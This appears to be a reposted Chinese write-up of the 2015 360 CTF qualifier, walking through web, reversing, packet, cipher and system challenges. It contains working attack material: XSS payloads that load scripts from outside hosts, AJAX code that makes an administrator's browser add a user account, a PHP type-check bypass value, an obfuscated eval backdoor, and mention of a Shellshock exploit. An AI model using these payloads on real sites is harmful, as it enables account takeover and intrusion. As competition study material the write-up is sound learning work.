2015 360初赛writeup

admin 2022年5月17日12:13:11评论60 views字数 4622阅读15分24秒阅读模式

0×00 前言
上周360的比赛,也进入了决赛了,writeup也是因为考试一直拖着还没更新出来。

0×01 web
web10
2015 360初赛writeup
首先保存那个图片,然后用winhex在尾部发现
2015 360初赛writeup
Where is the key?{ZW1lbS4uLiAvY3RmXzM2MF9mbGFn}

然后base64_decode之后,为emem… /ctf_360_flag 后面群里提示苹果电脑,然后访问
mac下每个目录都有的文件.DS_Store
http://isg.campus.360.cn/web1/ctf_360_flag/.DS_Store
成功拿到flag

web20
首先拿到泄露的源码
http://isg.campus.360.cn/web2/check.php.swp

<?php
/***
此处为提示
$code=0000000000;
admin code 0
user code  1
test code 2
***/
len_check($_GET['code'],10)

if(!empty($_GET['email']) && !empty($_GET['code'])) 
{ 
    if(!$db->count('admin',"email='{$_GET['email']}' ANDcode='{$_GET['code']}'")) 
        die('error');
    $_SESSION['email']= $_GET['email']; 
        ..........
}
?>

然后找到了p神这篇文章
遇到一个有趣的逻辑漏洞

2015 360初赛writeup
然后我们构造code为000000000x
code的长度要为十因为源码里面有len_check($_GET[‘code’],10),0是代表admin.然后成功拿到flag。
没发现这篇文章之前还写了个脚本在跑。就是先获取code,然后提交。跑了一下午然后并没有什么卵用。

web40
http://isg.campus.360.cn/web3/
这个题也是给了一个图片
2015 360初赛writeup
看到文件的结尾
2015 360初赛writeup

--.  ..  ..-.  ---..  ----.  .-  ;
<..--..  .--.  ....  .--.   $.-   = "-----  .-.-.-  .----  ";$-...   = $_--.  .  -  [.----.  -...  .----.  ];..  ..-.  ($-...   -.-.--  = .----.  .----.  ){    ..  ..-.   (..  ...  _.-  .-.  .-.  .-  -.--  ($-...  )){        .  -.-.  ....  ---   "-.  ---   -.-  .  -.--  -.-.--  ";        .  -..-  ..  -  ;    }.  .-..  ...  .  ..  ..-.  (-.-.--  ..  ...  _-.  ..-  --  .  .-.  ..  -.-.  ($-...  )){       $-.-.   = (..  -.  -  )(($.-   + $-...  ) * .----  -----  );        ..  ..-.   ($-.-.   == "---..  " && $-...  [.----  -----  ] == ..-.  .-  .-..  ...  .  ){            .  -.-.  ....  ---   "..-.  .-..  .-  --.  ";        }.  .-..  ...  .  {            .  -.-.  ....  ---   "-.  ---   -.-  .  -.--  -.-.--  ";            .  -..-  ..  -  ;        }    }.  .-..  ...  .  {        .  -.-.  ....  ---   "-.  ---   -.-  .  -.--  -.-.--  ";    }}.  .-..  ...  .  {    .  -.-.  ....  ---   "-.  ---   -.-  .  -.--  -.-.--  ";}..--..  >

可以看到是莫尔斯编码加上了php的一些语法,把莫尔斯编码还原之后就可以得到php代码

GIF89a;
<?php
    $a= "0.1";
    $b= $_GET['b'];
    if($b! = '' )
    {
        if(is_array  ($b))
        {
            echo "nokey!";
            exit;
        }
        else if(!is_numeric ($b ))
        {
            $c   = (int)(($a + $b  ) * 10 );
            if  ($c   == "8" && $b  [10 ] == false )
            {
                echo   "flag ";
            }
            else 
            {
                echo  "nokey ";
                exit  ;
            }
        }
        else {echo  "nokey ";}
    }
    else {echo  "no  ";}
?>

就是要想办法绕过 对is_array和is_numeric的检查,进入flag的分支里
首先是绕过is_array,可以传一个数字进去,但是数字的话又会过不了is_numeric
这里用到的一个trick是 0.7a,在数字之后加上a之类的,变成str的类型,但是经过(int)类型转换之后又会变成0.7
尝试传入b=0.7a,可以本地搭建起来调试,var_dump($c);把$c的结果打印出来发现是7
尝试传入b=0.8a,$c这个时候是9,这个是php的浮点数的精度的问题
传入b=0.75a就可以获得flag了
http://isg.campus.360.cn/web3/?b=0.75a

web160
这题其实是一个xss的题目,因为页面描述说管理员会记录你的一切操作。先打了一发cookie,然后修改cookie。发现直接跳到首页,并没有什么卵用。后面用ajax偷到了页面的源码。通过分析源码发现,有一个添加用户的地方。首先xss的payload

</textarea>’”><script src=http://t.cn/R2CvZvl></script>
2015 360初赛writeup
然后我们构造一个ajax添加一个账号。

var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
}
else if (window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions);
} catch(e) {}
}
}
xmlhttp=request;

var url= "/web5/adduser";  
var params ='name=tomato&pass=tomatomemeda&submit=ok';
xmlhttp.open("POST", url, true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("Content-length", params.length);
xmlhttp.setRequestHeader("Connection", "Keep-Alive");

xmlhttp.send(params)

然后提交

<script src=http://km2.in/360.js></script>
登陆之后成功拿到flag

2015 360初赛writeup
0×02 re
re40
先查字符串,发现了一个人名和 Congratulations.跟进去看下可以找到核心判断.
2015 360初赛writeup
前面一个call(call 0x45b330) 是处理输入字符串的奇偶位,生成一个新字符串.
后面一个call(call 0x47e2d0) 是与正确的的字符串比较.
2015 360初赛writeup
在后面的动态分析中可以找到正确的字符串,然后处理下即可得到flag.
如下图,0012d050的字符串就是最后比较的.
2015 360初赛writeup

a = '533168596d66594751343451'
b = '74524c71354b575937773d3d'
c = ''
for i in xrange(len(a)):
    c+=a[i]
    c+=b[i]
    i+=1
print c

flag:57343512648c579163d5646b5597457953173747334d531d

re80
这个题目的pdf下载下来360直接报毒,然后打开空白,以前在一个ctf也遇到过。就是找到受影响的adobe reader的版本,然后打开就行了。然后这次就有经验了。先用kali下面的peepdf跑了一发,然后发现是一个cve
2015 360初赛writeup
然后谷歌cve编号,发现
2015 360初赛writeup
8.1.2下的版本都受影响。然后在虚拟机里下载了一个adobe reader,然后运行就是直接弹flag了。
2015 360初赛writeup

0×03 网络协议
网络协议20
下载完数据包之后,然后过滤http请求
2015 360初赛writeup
然后丢到chrome的console解密
2015 360初赛writeup
2015 360初赛writeup
2015 360初赛writeup
2015 360初赛writeup

0×04 加解密
加解密10
BHUK,LP TGBNHGYT BHUK,LP UYGBN TGBNHGYT BHUK,LP BHUK,LP TGBNHGYT BHUK,LP TGBNHGYT UYGBN
这个题提示是个键盘有关系的,其实看看也能看出来BHU是连一起的 TGB也是连一起的
只是有一个分割的问题,一开始用,去分割就没有做出来,要用空格来分割,可以得到

BHUK,LP 
BHUK,LP 
TGBNHGYT 
BHUK,LP 
UYGBN 
TGBNHGYT 
BHUK,LP 
BHUK,LP 
TGBNHGYT 
BHUK,LP 
TGBNHGYT 
UYGBN

一共有3类

BHUK,LP
UYGBN
TGBNHGYT

我们尝试在键盘上把他们画出来,记得,也要占一个键位的
2015 360初赛writeup

BHUK,LP   :N
UYGBN     :C
TGBNHGYT  : B

然后就是按照他的顺序输出flag了
NNBNCBNNBNBC

加解密20
给了一个shell文件,提示是后门的密码就是flag

<?php 
eval(gzinflate(base64_decode("pZLdSsNAEIXvBd+hTmOzMXTbFC3UGhtFEANWlLZES5OgvauoIFho2jy7s7PJhMSIF5Kbb2fPzs+Z7O8ZiYAmhLAFS9bQzhUQIboUPECKiUQDMSFMkYZIZt+U5nFkYijB0Kh0KfCcp+5wlh+6YaO2H9VFbW2BNK8U2iJJoiOk9Pek4q/ZBTwG481T4HeD3mC9vH79en67fb+fjScPM38aOMvL6erEn6xePm+uLj7u1i669I9qAucL4ZSDesQWC9WwHlGxkZRpwW9t1ikrDCRwAE87dtvm7EphlRQd3taC6AwpIjJ4A4XFkhcQ81uhbZcw6EN20a67mHPHxX8Qc+YQP7vyvxQJIHNBa9usUBMcck5d1kNqEVmZl9CDkmNNnsLIFV3IKnsVRT4OOCQJdRNq76Pzbw==")));
>

有这种解eval的特别方便的
使用evalhook方式解密php源代码

在kali下跑跑
php -d extension=evalhook.so shell.php
2015 360初赛writeup
这个特殊的字符串就是flag了
p4n9_z1_zh3n9_j1u_Sh1_J13

加解密40

NTU2NJC3ODHHYWJIZ3P4ZWY=
其实这是一个变异的base64.我们挨个把字母的大小写跑一遍,然后提取可见字符。
2015 360初赛writeup
然后第二个flag就是正确的。

0×05 系统
系统20
shellsock的exp打一发
2015 360初赛writeup

FROM :appleu0.sinaapp.com | Author:appleu0

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月17日12:13:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2015 360初赛writeuphttps://cn-sec.com/archives/1012144.html

发表评论

匿名网友 填写信息